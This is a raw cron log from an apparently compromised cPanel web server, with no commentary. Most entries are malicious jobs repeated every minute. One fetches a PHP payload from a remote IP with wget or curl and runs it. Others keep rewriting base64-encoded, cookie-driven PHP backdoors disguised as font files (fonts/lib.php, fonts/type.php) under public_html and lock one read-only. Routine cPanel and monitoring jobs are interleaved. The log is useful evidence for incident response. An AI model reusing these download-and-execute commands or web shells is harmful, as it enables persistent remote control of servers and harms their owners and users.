Sep  4 05:06:02 ip-184-168-122-23 CROND[27200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:06:02 ip-184-168-122-23 CROND[27201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:07:01 ip-184-168-122-23 CROND[27373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:07:01 ip-184-168-122-23 CROND[27375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:07:01 ip-184-168-122-23 CROND[27372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:07:01 ip-184-168-122-23 CROND[27374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:08:01 ip-184-168-122-23 CROND[27484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:08:01 ip-184-168-122-23 CROND[27487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:08:01 ip-184-168-122-23 CROND[27488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:08:01 ip-184-168-122-23 CROND[27490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:08:01 ip-184-168-122-23 CROND[27492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:09:01 ip-184-168-122-23 CROND[27612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:09:02 ip-184-168-122-23 CROND[27613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:09:02 ip-184-168-122-23 CROND[27615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:09:02 ip-184-168-122-23 CROND[27614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:09:02 ip-184-168-122-23 CROND[27617]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:10:01 ip-184-168-122-23 CROND[27754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:10:01 ip-184-168-122-23 CROND[27757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27760]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:10:01 ip-184-168-122-23 CROND[27761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:11:01 ip-184-168-122-23 CROND[27882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:11:01 ip-184-168-122-23 CROND[27884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:11:01 ip-184-168-122-23 CROND[27883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:11:01 ip-184-168-122-23 CROND[27886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:12:02 ip-184-168-122-23 CROND[28083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:12:02 ip-184-168-122-23 CROND[28085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:12:02 ip-184-168-122-23 CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:12:02 ip-184-168-122-23 CROND[28084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:12:02 ip-184-168-122-23 CROND[28086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:13:02 ip-184-168-122-23 CROND[28202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:13:02 ip-184-168-122-23 CROND[28203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:13:02 ip-184-168-122-23 CROND[28204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:13:02 ip-184-168-122-23 CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:14:01 ip-184-168-122-23 CROND[28335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:14:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:14:01 ip-184-168-122-23 CROND[28337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:14:01 ip-184-168-122-23 CROND[28338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:14:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:15:01 ip-184-168-122-23 CROND[28445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:15:01 ip-184-168-122-23 CROND[28447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:15:01 ip-184-168-122-23 CROND[28448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:15:01 ip-184-168-122-23 CROND[28451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:15:01 ip-184-168-122-23 CROND[28452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:15:01 ip-184-168-122-23 CROND[28453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:16:01 ip-184-168-122-23 CROND[28589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:16:01 ip-184-168-122-23 CROND[28591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:16:01 ip-184-168-122-23 CROND[28593]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:16:01 ip-184-168-122-23 CROND[28592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:16:01 ip-184-168-122-23 CROND[28594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:16:01 ip-184-168-122-23 CROND[28590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:17:01 ip-184-168-122-23 CROND[28747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:17:01 ip-184-168-122-23 CROND[28750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:17:01 ip-184-168-122-23 CROND[28751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:17:01 ip-184-168-122-23 CROND[28749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:18:02 ip-184-168-122-23 CROND[28905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:18:02 ip-184-168-122-23 CROND[28908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:18:02 ip-184-168-122-23 CROND[28910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:18:02 ip-184-168-122-23 CROND[28909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:18:02 ip-184-168-122-23 CROND[28913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
